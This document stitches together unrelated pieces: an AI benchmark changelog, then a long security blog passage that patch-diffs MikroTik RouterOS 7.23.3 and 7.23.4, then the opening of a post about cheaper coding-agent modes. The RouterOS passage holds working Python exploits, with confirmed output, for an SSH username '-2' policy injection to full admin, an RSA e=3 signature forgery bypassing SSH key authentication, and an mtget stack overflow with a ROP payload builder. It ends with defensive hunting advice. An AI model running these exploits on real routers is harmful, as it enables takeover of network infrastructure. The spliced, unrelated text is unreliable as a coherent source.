Access denied

We are accelerating elements of our upcoming v5 release with interim updates to keep pace with the frontier. Index v4.2 has more complex and realistic tasks, and more private test sets to prevent gaming

Intelligence Index v4.2 changelog:

+ AA-Briefcase, our agentic knowledge work evaluation with a private test set

+ Surge’s GDP.pdf, long context document reasoning across 4,592 PDF pages

- GPQA Diamond, an exceptional scientific reasoning evaluation that has now been saturated

… plus greater weighting on held-out test sets to prevent gaming, and grading infrastructure upgrades to increase robustness

This update brings the Index closer to real-world use cases with more challenging, complex and realistic tasks and private test sets to prevent gaming. We have been planning and building elements of Index v5 for months - it’s been 8 months since we launched Index v4 in January.

We have deliberately held back updates to keep the Index stable through recent major model launches. However, with the frontier moving so quickly in the past weeks, we feel it is important to deliver an immediate interim update to ensure our Index remains as relevant and useful as ever to users.

Beyond this interim update, our team is hard at work on v5 of the Index. We are planning more incremental releases in the near future. Stay tuned!

Intelligence Index v4.2 changes in detail:

➤ Adding AA-Briefcase: Our in-house evaluation with a private held-out test set, AA-Briefcase tests models on realistic agentic knowledge work tasks in complex projects built by industry experts. Models are evaluated on multi-week knowledge work projects, each with many linked tasks and thousands of input source files. AA-Briefcase combines rubric and pairwise grading to evaluate verifiable task success, analytical quality, and presentation quality, giving a holistic view of overall agentic capability in knowledge work.

➤ Adding GDP.pdf: Created by Surge AI, GDP.pdf evaluates single-turn professional document reasoning across 100 PDFs and ten domains. Models must synthesize evidence distributed across 4,592 pages, including text, tables, charts, footnotes, and exclusions. Responses are graded against 1,275 expert-authored atomic criteria; the headline All-pass Rate credits a task only when every criterion is satisfied.

➤ Weighting to measure real-world use and prevent gaming: 40% of our Index weighting is now private, held-out test sets - double the figure from v4.1. Held-out data includes AA-Briefcase, AA-Omniscience, and solutions for CritPt. This reduces the ability for labs to game evaluations. The held-out percentage will increase further in Index v5.

➤ Improving our grading infrastructure: In AA-LCR v1.1, we have added a grading system prompt and corrected errors and ambiguities in answer keys, improving scoring accuracy. For GDPval-AA v2 and AA-Briefcase, we have improved our sampling and re-anchored the Elo scale, making ratings more stable as new models are added. For SciCode we have improved robustness of grading sandboxes to ensure slow but correct code does not count as a failure.

Key results:

➤ Anthropic and OpenAI lead the Index: Anthropic’s Claude Fable 5.1 leads the Index, followed by OpenAI’s GPT-6 Astra, which shows a 4pt gain over GPT-5.6 Sol. Meta is the third-ranked lab on the leaderboard, followed by SpaceXAI, Moonshot/Kimi, Z.AI, and Google.

➤ Cost per Task Pareto frontier shared by four labs: Anthropic, OpenAI, Meta and Z.AI occupy the updated Cost per Task frontier.

➤ GPT-6 Astra dominates the output token frontier: GPT-6 Astra is more token efficient than almost every other model near the intelligence frontier, with Claude Fable 5.1, Grok 4.5 and Gemini 3.5 Flash-Lite at either end of the curve (excludes models below 25 on the Index)

GPT-6 Astra is more token efficient than almost every other model near the intelligence frontier, with Claude Fable 5.1, Grok 4.5 and Gemini 3.5 Flash-Lite at either end of the curve (excludes models below 25 on the Index)

Anthropic’s Claude Fable 5.1 and Opus 5 lead AA-Briefcase, followed by GPT-6 Astra and Muse Spark 1.3. GPT-6 Astra shows a substantial gain above GPT-5.6 Sol of ~85 Elo points

AA-Briefcase is our frontier in-house evaluation with a private held-out test set. The evaluation tests models on realistic agentic knowledge work tasks in complex projects built by industry experts. Models are evaluated on multi-week knowledge work projects, each with many linked tasks and thousands of input source files. AA-Briefcase combines rubric and pairwise grading to evaluate verifiable task success, analytical quality, and presentation quality, giving a holistic view of overall agentic capability in knowledge work.

OpenAI leads GDP.pdf with GPT-6 Astra at 33.2% and GPT-5.6 Sol at 28.2%, followed by Claude Fable 5.1 at 26.2%

Created by Surge AI, GDP.pdf evaluates single-turn professional document reasoning across 100 PDFs and ten domains. Models must synthesize evidence distributed across 4,592 pages, including text, tables, charts, footnotes, and exclusions. Responses are graded against 1,275 expert-authored atomic criteria; the headline All-pass Rate credits a task only when every criterion is satisfied

Full per-model breakdowns below:

Read more about Artificial Analysis Intelligence Index v4.2 at https://artificialanalysis.ai/methodology/intelligence-benchmarking

On the 3rd of September 2026, MikroTik quietly pushed RouterOS 7.23.4 (long-term), 7.24.2 (stable) and 6.49.21 (v6) all on the same day. Every one of them carried the same banner:

This is an important security update. Most configurations are not at risk, but upgrading is highly recommended. To give time to update your systems, we are not currently publishing detailed information.

Translation: “we found something nasty, we patched it, and we are not going to tell you what it is until enough of you have updated.” Fair enough. Except there is a delicious irony baked into that sentence. If you ship the fixed binaries to the entire planet, then the diff between old and new is the disclosure. The embargo protects the unpatched fleet, not the patched binary sitting on your download mirror.

So let us do what any operator running a fleet of these should do: pull both versions, reverse the delta, and work out what changed. This post is the full walk from static diff to reproduced code execution. There are three real bugs here, and two conditional chains. One is the low-exponent RSA signature forgery into the mtget overflow. The other—now matched to an active-exploitation support trace—is an SSH username of -2 reaching a legacy file-descriptor login transport, letting an authenticated read-only session supply its own full policy mask. That second path gives full RouterOS command execution and can in turn reach mtget. What I have not reproduced is a stock, credential-free way to make SSH accept literal user -2 in the first place; that boundary matters, and this revision keeps it explicit.

Every RouterOS release dumps a wall of “improve stability” bullet points. The trick with a silent security release is to find the entry that appears in all maintained branches on the same day, because a coordinated cross-branch backport is the fingerprint of a single serious fix. Diffing the changelogs, exactly one line qualifies:

*) ssh - refactor SSH internal processes and improved system stability;

Present in 7.23.4, 7.24.2 and 6.49.21. Absent from 7.23.3. That is our thread to pull.

RouterOS ships as NPK (“Nova Package”) files. I grabbed the x86 base package for the patched and the previous release, about 20MB each, no auth needed:

curl -O https://download.mikrotik.com/routeros/7.23.4/routeros-x86-7.23.4.npk
curl -O https://download.mikrotik.com/routeros/7.23.3/routeros-x86-7.23.3.npk

An NPK is a custom container: a 4-byte magic (1E F1 D0 BA), a run of TLV parts, a signature block, and the interesting bit, a squashfs payload. binwalk finds the filesystem for us:

$ binwalk routeros-x86-7.23.4.npk
DECIMAL   HEXADECIMAL   DESCRIPTION
4096      0x1000        SquashFS filesystem, little endian, version 4.0,
                        compression: xz, size: 16650908 bytes

Standard squashfs 4.0 with xz. Carve from offset 0x1000 and unsquash it. My host was missing unsquashfs, so a throwaway Alpine container did the honours:

dd if=routeros-x86-7.23.4.npk of=root.sqsh bs=4096 skip=1
docker run --rm -v "$PWD":/w -w /w alpine:3 sh -c 
  'apk add squashfs-tools >/dev/null; unsquashfs -d rootfs root.sqsh'

RouterOS is not one monolithic daemon. It is a swarm of small “nova” processes under /nova/bin/ talking over an internal message bus, brokered by a master loader process. The SSH server lives in a bundle, and interestingly the client and server are the same binary:

rootfs/bndl/security/nova/bin/sshd    <- SSH server (byte-identical to ssh)
rootfs/lib/libucrypto.so              <- crypto primitives
rootfs/lib/libumsg.so                 <- message bus + login handling

A naive cmp of the two sshd binaries reports 170KB of differences, which is useless noise. Insert a few bytes near the top of .text and every address downstream shifts, so the whole file “changes”. The signal is not in the bytes, it is in the symbols. Stripped or not, the dynamic symbol table survives, and a diff of exported and imported symbols cuts straight to intent.

One trap worth mentioning: BusyBox sh in Alpine has no process substitution, so diff <(...) <(...) silently compares two empty streams and reports everything as identical. That will happily convince you nothing changed. Temp files and comm instead:

nm -D old/$bin | awk '{print $NF}' | sort -u > a
nm -D new/$bin | awk '{print $NF}' | sort -u > b
comm -13 a b   # added in the new build
comm -23 a b   # removed

Run that across every changed ELF and the story falls out. Two shared libraries changed, and the same handful of symbols move together across a whole cluster of binaries:

### lib/libumsg.so
  + _Z20validLoginParamInput11string_view
### lib/libucrypto.so
  + _ZN12RsaPublicKey23parseHashFromDerEncodedE6HashIDN4asn14blobE
  - _ZN12RsaPublicKey23parseHashFromDerEncodedEjN4asn14blobE
### referencing the changed RSA routine:
  sshd/ssh, ipsec, ipsec-worker, ssld, cloud

The SSH-focused symbol diff exposes two pieces: a new validLoginParamInput on the terminal-login paths and a changed parseHashFromDerEncoded in the RSA path. A wider sweep of every changed ELF exposes the third: nova/bin/mtget adds snprintf and the error Filename too long. The important correction is that the validator is not cosmetic hardening: in interactive SSH it closes a trusted-argv/policy injection, while mtget is the independently reachable native-process memory-corruption primitive.

The new validLoginParamInput function accepts only a non-empty value which does not begin with - or a space, does not end with a space, and contains no control byte or DEL. My first pass correctly identified characteristic argv hardening, then stopped at the wrong process. The authentication backend, nova/bin/user, does not execute anything and is byte-identical between these releases. The sink is one process later: /nova/bin/login.

sshd 7.23.3, simplified:
execl("/nova/bin/login", "login",
      "-ssh", "-trace", trace,
      "-h"/"-mac", peer,
      "-c", command,
      authenticated_name, decimal_policy_mask, NULL)

Those final two values are standalone positional arguments. The unchanged login parser has a legacy internal transport: if a positional begins with -, strip the dash, parse the rest with atoi, accept descriptors 0 through 32, read at most 4096 bytes from that descriptor, require a final NUL, and split the buffer into two NUL-delimited fields. It is how mepty can pass trusted login material through a pipe without exposing it in argv.

if positional[0] == '-':
    fd = atoi(positional + 1)
    blob = read_until_eof(fd, maximum=4096)
    require blob[-1] == 0
    field1 = blob before first NUL
    field2 = blob after first NUL

For an interactive SSH session, fds 0, 1 and 2 are duplicates of the PTY slave. Therefore an SSH username of -2 means “replace the trusted login positionals by reading stderr/PTY fd 2”. The second replacement field goes through strtoul(..., 10) and becomes the authorization policy mask. It is not a password and it is not a random per-session handle.

A PTY is normally in canonical mode. Sending 4096 NULs does not cleanly terminate the read; the line discipline continues waiting, and a later Enter makes the final byte a newline, which the parser rejects. The correct framing is two NUL-terminated fields followed by two terminal VEOF bytes (0x04 0x04): the first VEOF delivers the pending buffer without adding a byte, and the second makes the next read return EOF.

0\x00 654958\x00 \x04\x04
^     ^             ^
|     |             two canonical-terminal EOFs
|     RouterOS full policy mask (0x9fe6e)
first replacement field

RouterOS normally refuses to create a local account named -2, so I used a disposable RADIUS responder restricted to that exact username to isolate the post-authentication boundary. SSH recorded the outer identity as -2, group read. After the fd-2 block above, RouterOS opened this console:

[654958@CHR] > :put [/system identity get name]
CHR
# reversible write proof
/system identity set name=minus2-proof
:put [/system identity get name]
minus2-proof
/system identity set name=CHR

654958 is 0x9fe6e, RouterOS’s normalized full policy set. An all-ones 32-bit value is clamped to that same set. This was not merely an odd prompt: the outer read-only session performed write and policy actions. I then created and immediately removed the exact campaign-shaped account, producing:

user ops added by ssh:-2@172.31.88.5
  (*2 = /user add group=full name=ops)
user ops removed by ssh:-2@172.31.88.5/action:0
  (/user remove *2)

That is the same unusual pair reported from an affected router: configuration changes attributed to ssh:-2@<address>, followed by an ops user in full. It is a strong behavioural match to this path, not just a shared string IOC.

This client is deliberately restricted to loopback or RFC1918 targets. Its default RouterOS command is read-only. The SSH layer must already accept literal username -2; in my lab that acceptance was supplied by the scoped RADIUS responder.

#!/usr/bin/env python3
"""Lab-only RouterOS <=7.23.3 SSH ``-2`` PTY policy-injection proof.
The SSH authentication layer must first accept the literal username ``-2``.
In the documented lab this is done with a deliberately scoped RADIUS server.
The default command is read-only.  Targets are restricted to loopback/RFC1918.
"""
from __future__ import annotations
import argparse
import ipaddress
import re
import socket
import time
import paramiko
ANSI = re.compile(rb"\x1b(?:\[[0-?]*[ -/]*[@-~]|.)")
RFC1918 = tuple(
    ipaddress.ip_network(value) for value in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
)
def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("host")
    parser.add_argument("--port", type=int, default=22)
    parser.add_argument("--password", required=True)
    parser.add_argument("--effective-name", default="0")
    parser.add_argument("--policy-mask", type=int, default=0xFFFFFFFF)
    parser.add_argument("--command", default=":put [/system identity get name]")
    parser.add_argument("--timeout", type=float, default=20.0)
    args = parser.parse_args()
    address = ipaddress.ip_address(socket.gethostbyname(args.host))
    if not (address.is_loopback or any(address in network for network in RFC1918)):
        parser.error("target must be loopback or RFC1918 lab address")
    if not 0 <= args.policy_mask <= 0xFFFFFFFF:
        parser.error("--policy-mask must fit in an unsigned 32-bit integer")
    if "\x00" in args.effective_name:
        parser.error("--effective-name cannot contain NUL")
    sock = socket.create_connection((args.host, args.port), timeout=10)
    transport = paramiko.Transport(sock)
    output = bytearray()
    try:
        transport.start_client(timeout=10)
        transport.auth_password("-2", args.password, fallback=False)
        channel = transport.open_session(timeout=10)
        channel.get_pty(term="vt100", width=80, height=24)
        channel.invoke_shell()
        # RouterOS login treats argv strings beginning with '-' as '-<fd>'.
        # Two NUL-delimited fields replace the normal name/policy positionals.
        # Two VEOF bytes make the canonical PTY return the block and then EOF.
        block = (
            args.effective_name.encode()
            + b"\x00"
            + str(args.policy_mask).encode()
            + b"\x00\x04\x04"
        )
        channel.sendall(block)
        deadline = time.monotonic() + args.timeout
        answered_decid = False
        answered_cpr = False
        command_sent = False
        while time.monotonic() < deadline:
            if channel.recv_ready():
                output.extend(channel.recv(4096))
                if not answered_decid and b"\x1bZ" in output:
                    channel.sendall(b"\x1b[?1;2c")
                    answered_decid = True
                if not answered_cpr and b"\x1b[6n" in output:
                    channel.sendall(b"\x1b[24;1R")
                    answered_cpr = True
                if not command_sent and b"] > " in ANSI.sub(b"", output):
                    channel.sendall(args.command.encode() + b"\r")
                    command_sent = True
            plain = ANSI.sub(b"", bytes(output))
            if command_sent and plain.count(b"] > ") >= 2:
                break
            if channel.closed:
                break
            time.sleep(0.05)
        while channel.recv_ready():
            output.extend(channel.recv(4096))
        clean = ANSI.sub(b"", bytes(output)).replace(b"\r", b"")
        print(clean.decode(errors="replace"))
        if b"invalid user input" in clean:
            print("patched control: username rejected before login child")
            return 2
        if not command_sent:
            print("no injected RouterOS prompt observed")
            return 1
        return 0
    finally:
        transport.close()
if __name__ == "__main__":
    raise SystemExit(main())

$ python3 routeros_minus2_pty_poc.py 172.31.88.2 --password x
0^@4294967295^@
[654958@CHR] > :put [/system identity get name]
CHR
[654958@CHR] >
$ python3 routeros_minus2_pty_poc.py 172.31.88.3 --password x
invalid user input
patched control: username rejected before login child

7.23.4 validates the stored SSH username before spawning the interactive login child. Literal -2 is rejected with invalid user input; no trusted fd parser and no RouterOS console follows. This is the direct fix.

The exploit still begins after SSH user authentication. In a clean local-auth lab, -2 was rejected with the correct admin password, an RSA key authorized to admin, numeric/dash aliases -0 through -3, arbitrary RSA and Ed25519 keys, an attacker-owned e=3 key, and a forged signature for the built-in Go Daddy e=3 CA key. SSH none, keyboard-interactive, embedded-NUL usernames and post-success username mutation also failed. The changed authentication backend is byte-identical. So this work confirms authenticated read-to-full command execution, but it does not manufacture a stock credential-free way for SSH to accept -2. If the field target did not use RADIUS/User Manager or another external AAA path, a separate initial-access primitive remains missing.

RouterOS 7.23.4 also contains explicit incident remediation in nova/bin/mode: it recognises an ops user in full, suspicious fetch/import scheduler entries and campaign domains, disables known-malicious configuration, logs what it found, and sets device mode to flagged=yes after reboot. That is consistent with the support report and with an incident-response patch, not generic stability work.

This is the interesting one. parseHashFromDerEncoded changed in every consumer that verifies an RSA signature:

libucrypto.so          defines it
sshd / ssh             SSH public-key auth        (inbound: verifies the client's signature)
ipsec / ipsec-worker   IKEv2 IKE_AUTH             (inbound: verifies a peer's cert/signature)
ssld                   TLS handshake              (certificate verification; direction varies)
cloud                  ACME / back-to-home        (mostly outbound peer verification)

Finding one routine on the verification path of SSH, IKE and TLS is excellent attack-surface discovery. It is not, by itself, proof that any of them is bypassable. Establishing direction matters: for ipsec the surrounding strings are AUTHENTICATION_FAILED, peer does not conform to RFC 5996 and can't verify peer's certificate, so it is verifying a remote peer during IKE_AUTH, which is attacker-supplied and inbound. For ssld it is certificate verification inside the TLS handshake, whose exploitability depends entirely on which direction and which config. For cloud it is mostly outbound verification of MikroTik’s own services. So the honest scope is: the same verifier sits under SSH, IPsec and TLS. Whether each is bypassable is a separate question per protocol.

Now the routine itself. It extracts the hash digest out of the DER DigestInfo inside a PKCS#1 v1.5 signature. It enters by checking the tag is 0x30 (SEQUENCE), which tells us the PKCS#1 padding has already been stripped upstream. So the full picture is two layers: the caller strips 00 01 FF..FF 00, then this routine parses what is left.

libucrypto exposes no one-shot RSA verify here. The SSH binary performs signature^e mod n, serialises the result to the modulus width, strips the PKCS#1 v1.5 envelope, and passes the remaining DigestInfo to parseHashFromDerEncoded. The actual 7.23.3 check is:

EM = i2osp(signature^e mod n, modulus_bytes)
if next(EM) != 0x00: fail
if next(EM) != 0x01: fail
while peek(EM) == 0xFF: next(EM)
if next(EM) != 0x00: fail
digest = parseHashFromDerEncoded(expected_hash, remaining_EM)
return digest == calculated_digest

My previous revision said the loop required at least eight FF bytes. It does not. I re-read the instructions around 0x805cb95..0x805cbd9 and then tested the result: zero FF bytes are accepted. The shortest accepted prefix is therefore 00 01 00. That is materially weaker than standard EMSA-PKCS1-v1_5 and gives a low-exponent forgery much more room.

The old DER routine checks the outer SEQUENCE, the hash OID and the digest OCTET STRING, then returns the digest span. It never asks whether anything remains after that object. The SSH caller does compare the returned span byte-for-byte with the calculated digest, so the old missing digest-length check is redundant in this particular caller. The ignored tail is not redundant.

; 7.23.4, after extracting the digest
cmp  dword [ebp-0x28], 0x100   ; DER reader's clean-EOF sentinel
jne  reject_trailing_bytes
; expected digest sizes: 16,20,28,32,48,64
movzx expected_len, byte [hash_length_table + hash_id]
cmp   actual_digest_len, expected_len
jne   reject_bad_digest_length

The 0x100 value is a parser sentinel, not a 256-byte RSA modulus check. The corresponding parser writes 0x100 at clean EOF and 0x101 on truncation. In plain English, 7.23.4 says: the expected digest must be exactly the expected length, and it must be the final thing in the encoded message.

I stopped here in the earlier revision because static analysis had reached its honest limit. The experiment is now done. I ran 7.23.3 and 7.23.4 CHR side by side in local Docker/QEMU, created the same low-privilege user on both, and imported the same 2048-bit RSA public key with exponent e=3. The client retained only the public key for signing purposes.

The forgery builds the prefix below, pads the low end of the 2048-bit integer with zeroes, and takes the integer cube root rounded up:

00 01 00 || DER(SHA-256 DigestInfo) || SHA256(SSH session blob) || garbage

Because e=3, verification cubes the forged signature. The high-order checked prefix survives the rounding; the error lands in the low-order garbage which 7.23.3 ignores. No private-key operation occurs.

#!/usr/bin/env python3
# forge_e3_ssh.py -- lab PoC, deliberately restricted to loopback
import argparse, base64, hashlib, ipaddress, socket
from pathlib import Path
import paramiko
from paramiko.message import Message
DI_SHA256 = bytes.fromhex("3031300d060960864801650304020105000420")
def cbrt_floor(n):
    lo, hi = 0, 1 << ((n.bit_length() + 2) // 3 + 1)
    while lo + 1 < hi:
        mid = (lo + hi) // 2
        if mid ** 3 <= n: lo = mid
        else: hi = mid
    return lo
def forge(data, modulus_bytes):
    digest = hashlib.sha256(data).digest()
    prefix = b"\x00\x01\x00" + DI_SHA256 + digest
    target = int.from_bytes(prefix + b"\x00" * (modulus_bytes-len(prefix)), "big")
    s = cbrt_floor(target) + 1
    recovered = (s ** 3).to_bytes(modulus_bytes, "big")
    assert recovered.startswith(prefix)
    return s.to_bytes(modulus_bytes, "big")
class ForgedRSAKey(paramiko.RSAKey):
    def sign_ssh_data(self, data, algorithm=None):
        assert algorithm == "rsa-sha2-256"
        m = Message()
        m.add_string(algorithm)
        m.add_string(forge(bytes(data), self.get_bits() // 8))
        return m
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, required=True)
    ap.add_argument("--public-key", type=Path, required=True)
    ap.add_argument("--user", default="forge")
    ap.add_argument("--command-file", type=Path)
    args = ap.parse_args()
    assert ipaddress.ip_address("127.0.0.1").is_loopback
    fields = args.public_key.read_text().split()
    key = ForgedRSAKey(data=base64.b64decode(fields[1]))
    assert key.key.public_numbers().e == 3
    command = (args.command_file.read_text().strip() if args.command_file
               else ":put [/system resource get version]")
    sock = socket.create_connection(("127.0.0.1", args.port), timeout=10)
    t = paramiko.Transport(sock, disabled_algorithms={"pubkeys": ["rsa-sha2-512"]})
    t.start_client(timeout=10)
    try:
        t.auth_publickey(args.user, key)
    except paramiko.AuthenticationException:
        print("authentication rejected")
        return 1
    ch = t.open_session(timeout=10)
    ch.settimeout(15)
    ch.exec_command(command)
    try:
        print(ch.makefile("rb").read().decode(), end="")
    except socket.timeout:
        print("authenticated; command channel died with the target service")
    finally:
        t.close()
if __name__ == "__main__": raise SystemExit(main())

With paramiko==5.0.0, the results were unambiguous:

$ python3 forge_e3_ssh.py --port 3223 --public-key e3.pub
7.23.3 (stable)
$ python3 forge_e3_ssh.py --port 2224 --public-key e3.pub
authentication rejected

That is an end-to-end SSH authentication bypass for the stated precondition: a known RSA e=3 public key is already authorized for the target account. It is not “bring any e=3 key and become admin”, and it is not a general e=65537 break. Public keys are not secrets, but an attacker still needs the specific authorized key.

The wider ELF sweep found the piece I had initially waved away as a one-line sprintf hardening. In nova/bin/mtget, the vulnerable TFTP request builder is much worse: 7.23.3 copies the caller-controlled remote pathname into a fixed stack packet with an unbounded rep movsb, then appends mode and option strings after it.

; 7.23.3 mtget, simplified
lea  dst, [ebp-0x21a]       ; fixed stack TFTP request buffer + opcode
mov  ecx, remote_path.len
mov  esi, remote_path.ptr
rep  movsb                  ; no comparison with buffer capacity
mov  byte [dst+len], 0
...append "octet", "blksize", "4096"...

7.23.4 replaces this with a remaining-capacity cursor, checked appends, snprintf, and a new user-visible error: Filename too long.

The pathname comes from an authenticated RouterOS command, not from the TFTP server:

/tool fetch url="tftp://10.0.2.2/<attacker path>" keep-result=no

That makes this a post-auth bug on its own, but it is reachable with the test policy. RouterOS’s built-in read group includes ssh,read,test and excludes write,policy. A supposedly read-only operator can reach the vulnerable process.

The same 700-byte pathname was sent to both builds. 7.23.4 returned failure: Filename too long. On 7.23.3, the command channel hung, RouterOS generated autosupout.rif for a service malfunction, and the router itself stayed alive. Decoding the support file locally produced:

/nova/bin/mtget
--- signal=11 ---
eip=0x41414141 eflags=0x00010202
edi=0x41414141 esi=0x41414141 ebp=0x41414141 esp=0xffffd820

A patterned run with 542 As followed by BBBB produced eip=0x42424241 and a stack beginning 42 43 43 43.... Saved EIP starts at remote-path offset 541. The binary is NX, but it has no stack canary, is non-PIE at 0x08048000, and uses partial RELRO. The post-return stack is controlled and stable in this x86 CHR process. That is a straightforward ROP primitive.

I did not pop a shell. The proof creates a disposable file named rop-sentinel through the normal CLI, then returns into mtget‘s fixed unlink@plt and deletes only that file. The next return address is deliberately invalid 0x42424242, making the completed call visible in the crash record.

#!/usr/bin/env python3
# mtget_rop_poc.py -- RouterOS 7.23.3 x86 CHR only
import struct
EIP_OFFSET     = 541
UNLINK_PLT     = 0x0804C250
RETURN_CRASH   = 0x42424242
STACK_AFTER_RET = 0xFFFFD820
MARKER         = b"/rw/disk/rop-sentinel"
def p32(x): return struct.pack("<I", x)
marker_offset = EIP_OFFSET + 12
marker_address = STACK_AFTER_RET + (marker_offset - (EIP_OFFSET + 4))
payload  = b"A" * EIP_OFFSET
payload += p32(UNLINK_PLT)
payload += p32(RETURN_CRASH)
payload += p32(marker_address)
payload += MARKER
safe = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._/"
escaped = "".join(chr(b) if b in safe else f"\\{b:02X}" for b in payload)
print('/tool fetch url=("tftp://10.0.2.2/" . "' + escaped + '") keep-result=no')

The post-crash snapshot shows that the function call really executed:

eip=0x42424242             ; deliberate return after unlink
esp=0xffffd824             ; advanced through the call
eax=0x00000000             ; unlink() returned success
edx=0xffffd828
stack: 00 00 00 00 2f 72 77 2f 64 69 73 6b 2f 72 6f 70 ...

RouterOS’s file count for rop-sentinel changed from 1 to 0. This is confirmed controlled code execution in mtget, not just a crash or a claimed “probably exploitable” overwrite.

The original RSA-to-mtget chain remains valid for its stated preconditions:

known authorized RSA e=3 public key
  -> forge SSH rsa-sha2-256 signature without its private key
  -> authenticated user with test policy
  -> crafted TFTP pathname
  -> mtget saved-EIP overwrite and fixed-address ROP call

The newly closed incident-shaped path is:

SSH authentication accepts literal username -2       [precondition]
  -> request interactive PTY shell
  -> login interprets -2 as "read trusted fields from fd 2"
  -> send 0\0 654958\0 VEOF VEOF
  -> full RouterOS administrative command execution  [confirmed]
  -> create ops in group full                         [confirmed]
  -> optionally reach the mtget native ROP primitive

The second chain reproduces the field audit fingerprint exactly, but the bracketed first step is not solved by the clean stock lab. Calling the whole campaign unauthenticated would outrun the evidence. Calling the patched username path mere log hardening would now be equally wrong.

• Confirmed: after SSH accepts literal -2, a PTY client can replace the trusted policy field and escalate a RouterOS read session to the full 0x9fe6e policy set on 7.23.3.
• Confirmed: that session can perform write/policy actions and produces the campaign-shaped user ops added by ssh:-2@... record.
• Confirmed: 7.23.4 rejects the same PTY path with invalid user input.
• Confirmed: public-key-only SSH authentication works for an account already bound to a known 2048-bit RSA e=3 key on 7.23.3; 7.23.4 rejects the forgery.
• Confirmed: authenticated /tool fetch controls EIP in 7.23.3 mtget, and a ROP call executes.
• Not confirmed: credential-free SSH authentication as literal -2 on a clean local-user configuration.
• Not claimed: a universal RSA e=65537 break, arbitrary-user login, or an end-to-end IKE/TLS bypass.

The validator now has two separately demonstrated effects. On SSH PTYs it closes a trusted policy/argv injection which produces full RouterOS administrative command execution after authentication as -2. On MAC-Telnet it closes the hidden-API/argv selectors below, whose inner authentication and policy checks still hold. mtget remains the independently patched native-process ROP primitive.

I went back and ground through the MAC-Telnet path separately because mactel is one of the new callers of validLoginParamInput. The result is interesting, but it does not close another credential-free RCE chain.

In 7.23.3 the final length-delimited CP_USERNAME is passed unchanged as the last argument to /nova/bin/login. A leading dash is therefore parsed as a login option. Usernames such as -z, -c and -d, even with a wrong EC-SRP password, divert the expected failure path into a fresh Login: prompt. This is real pre-auth argv injection, but options needing another argv value cannot be completed: the username is the final argument, and CP_TERM_TYPE becomes TERM, not another argument.

The more useful selector is the exact seven-byte username 06 2f 6c 6f 67 69 6e, or b"\x06/login". The leading byte is a RouterOS API word length. On 7.23.3 this selects the API-style login handler and returns !done =ret=<challenge> over MAC-Telnet. The identical packet is terminated by 7.23.4.

# Used with the public EC-SRP5 mactelnet_client.py in the isolated L2 lab
from mactelnet_client import MACTelnetClient
def api_sentence(*words):
    return b"".join(bytes([len(w)]) + w for w in words) + b"\x00"
c = MACTelnetClient(TARGET_MAC, "\x06/login", "definitely-wrong")
c.connect()                 # 7.23.3 returns an API-style =ret challenge
c.send_data(api_sentence(b"/system/identity/print"))
# response: !fatal, "not logged in"

That last response is the boundary. Supplying the correct password to the inner /login request produced !done, after which /system/identity/print returned =name=CHR. A disposable user with the correct password but a group containing local,read,test,ssh and deliberately omitting api was rejected with std failure: not allowed (9). Changing the final username after a valid initial EC-SRP exchange also failed, and an all-zero/low-order client public key did not make the confirmation password-independent.

So the impact is a same-broadcast-domain hidden API transport that bypasses whether the IP API service is enabled, firewalled or address-restricted. It does not bypass the RouterOS password database or the account’s api policy. With valid credentials it can carry API commands and could reach the mtget stage if policy permits; without them, I did not obtain a console, API session or command execution. Calling this MAC-Telnet RCE would be wrong.

The 7.23.4 validator matches that result exactly. It rejects empty input, a leading dash or space, a trailing space, control bytes 00..1f, and 7f before opening the PTY. That blocks both the argv forms and x06/login.

• www adds suspicious skin path, rejects /../ and paths escaping the /rw/disk user-file root with HTTP 403: path-traversal hardening.
• SSH/SCP adds destination is an invalid path! around recursive destination processing: authenticated file-path hardening.
• diskd adds explicit truncated-request, truncated-read and oversized-response checks around local RPC frames.
• DHCP replaces small diagnostic sprintf calls with bounded formatting and adds allocation/packet-size failure paths. I found robustness and out-of-bounds-read hardening there, not evidence for a separate unauthenticated DHCP RCE.

• Patch now: 7.23.4 long-term, 7.24.2 stable, 6.49.21 v6, or a later release containing these fixes.
• If /system/device-mode/print shows flagged: yes, treat the router as potentially compromised. Preserve logs/support output, inspect all configuration and strongly consider a clean rebuild rather than trusting only automatic cleanup.
• Hunt for an unexpected ops user or full-policy account; audit records containing ssh:-2@; scheduler entries combining fetch, /poll/<UUID> and import; the domains mythtime.xyz, leappoach.info and eeongous.com; and unexpected /ip socks enablement.
• Review /user aaa, RADIUS and User Manager configuration. This revision proves what happens after SSH accepts -2; external AAA is one concrete way that otherwise-invalid identity can exist.
• Restrict SSH to the management plane and rotate administrative passwords, RADIUS secrets and authorized keys after any suspected exposure.
• Audit imported SSH RSA keys for exponent 3. Replace legacy low-exponent keys with Ed25519/ECDSA or RSA e=65537.
• Remove test from users that do not need diagnostic tools. RouterOS’s built-in read group is not harmless when it can reach memory-unsafe helpers.
• Disable Telnet and restrict or disable MAC-Telnet on untrusted layer-2 segments: /tool mac-server set allowed-interface-list=none.
• Hunt for unexpected autosupout.rif, mtget restarts and abnormally long TFTP URLs.

The lesson, as always, is that silence is not secrecy. If you patch in public, you disclose in public, whether you write the advisory or not. Somebody is going to read the diff. Better it is you, on your own gear, before someone else does it on yours.

Stay patched, and go check your edge boxes. 

Most of what an AI coding agent does for me isn't thinking. It's I/O.

Reading five files to answer a question about one method. Generating a test file that follows the exact same pattern as the twenty test files next to it. Updating docs after a meeting. Thousands of tokens gone and almost zero reasoning. The seat license isn't what hurts, it's the tokens. And you're feeding all of it to a frontier model that's wildly overqualified. What if you could route the grunt work to something cheaper that handles it just as well, and save the expensive model for the problems that actually need it?

It’s hardly just my problem. By 2028, AI coding costs are expected to blow past the average developer's salary. A quarter of engineering leaders already burn $200–$500 per developer per month on tokens. Some are well past $2,000. The tooling pays for itself but only if you stop burning frontier tokens on work that doesn't need them.

Turns out, the fix didn't require a platform team or a new subscription. Just two modes. 

Two modes, zero code

This is exactly the kind of use case AiKA Modes in Portal by Spotify were built for. A mode is a declarative agent that runs on an ephemeral runtime - think AWS Lambda, but for agents. You define the instructions, pick a model, set parameters like temperature, and attach MCP tools. Portal handles the rest. No infra to manage, no API keys, no long-running servers. Modes are callable from the Portal CLI or API. They can be public (shared with the whole company) or private.

For this router to work I created two modes. Both use Gemini 2.5 Flash as the worker model in the examples below, but the model field accepts any model you have configured in your Portal instance. Pick whichever works for you.

Mode 1: bulk-reader

